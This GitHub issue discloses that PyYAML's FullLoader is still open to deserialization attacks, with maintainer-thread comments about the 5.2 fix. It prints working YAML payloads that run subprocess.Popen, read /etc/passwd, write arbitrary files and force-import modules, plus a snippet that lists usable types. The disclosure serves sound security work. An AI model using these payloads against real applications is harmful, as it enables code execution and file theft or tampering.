FullLoader is not much safer than UnsafeLoader
See original GitHub issueThe documentation on yaml.load
deprecation suggests that using FullLoader
is safer than using UnsafeLoader
. Whilst it’s true that FullLoader
is not vulnerable to the YAML given on that page, there are other payloads that trigger remote code execution or other problematic behaviour using only standard library modules:
# Executes arbitrary code - does rely on subprocess being used somewhere in the vulnerable application, but see forced import hack
yaml.load('!!python/object/apply:subprocess.Popen [["echo", "Hello World"]]')
# Allows reading arbitrary files - notably, does not rely on any modules being loaded beyond those used by PyYAML
yaml.load('!!python/object/apply:list [!!python/object/apply:io.FileIO ["/etc/passwd", "r"]]')
# Writes to an arbitrary file - again, only uses modules that are imported by PyYAML
yaml.load('!!python/object/apply:list [!!python/object/apply:map [!!python/object/apply:operator.methodcaller ["write", "Hello World"], [!!python/object/apply:io.FileIO ["/tmp/output", "w"]]]]')
# Forcibly load a module that is not currently imported - only uses existing PyYAML dependencies
yaml.load('!!python/object/apply:list [!!python/object/apply:map [!!python/object/apply:operator.methodcaller ["load_module", "subprocess"], [!!python/object/apply:itertools.__loader__ []]]]')
Either the documentation should be made clearer about the relative safety of FullLoader
, or FullLoader
should be tightened to prevent these cases.
You can summarise which types are available for use in exploits with the following snippet:
import sys, yaml
for modulename, module in sys.modules.items():
for itemname, value in module.__dict__.items():
if isinstance(value, type):
print(modulename + "." + itemname)
Issue Analytics
- State:
- Created 4 years ago
- Reactions:3
- Comments:9 (6 by maintainers)
Top Results From Across the Web
Why does PyYAML 5.1 raise YAMLLoadWarning when the ...
So the current version uses FullLoader which is not unsafe. This is confirmed again in the document. The load function was also made...
Read more >Fully loaded: testing vulnerable PyYAML versions - r2c
PyYAML 5.1 introduced FullLoader and UnsafeLoader classes, ... discussions on CVE patches, I really had no idea which PyYAML APIs were safe.
Read more >YAML Deserialization Attack in Python - Net Square
Those modules which are using SafeLoader of PyYAML to load serialized data, are not vulnerable to deserialization vulnerability, example, simple-yaml , aspy.
Read more >Loading Dangerously: PyYAML and Safety by Design
x release because it broke backwards compatibility with many other widely used libraries, such as vcrpy. The definition of “safe” is not ......
Read more >PyYAML is a YAML parser and emitter for Python.
The parsing algorithm is simple enough to be a reference for YAML parser ... Make FullLoader safer by removing python/object/apply from the default...
Read more >Top Related Medium Post
No results found
Top Related StackOverflow Question
No results found
Troubleshoot Live Code
Lightrun enables developers to add logs, metrics and snapshots to live code - no restarts or redeploys required.
Start FreeTop Related Reddit Thread
No results found
Top Related Hackernoon Post
No results found
Top Related Tweet
No results found
Top Related Dev.to Post
No results found
Top Related Hashnode Post
No results found
Top GitHub Comments
It certainly seems to fix the examples I’ve given. I notice that
!!python/object/new
is still available, so I’ll have a play and see if I can do anything malicious with that, but I’ll close this issue, and open another if I find anything.I believe the exploitable code would have to be in
__new__
. The old behaviour was exploitable precisely because of exploitable behaviour in__init__
, and the patch in 5.2 closes off that avenue of attack.For most of the objects used in the exploit examples above, creating an object with
__new__
(which doesn’t automatically call__init__
, by default) creates a half formed object that isn’t usable (files that are closed, lists with no elements, processes that aren’t started). Which makes me wonder what use casesFullLoader
is now useful for, but I digress.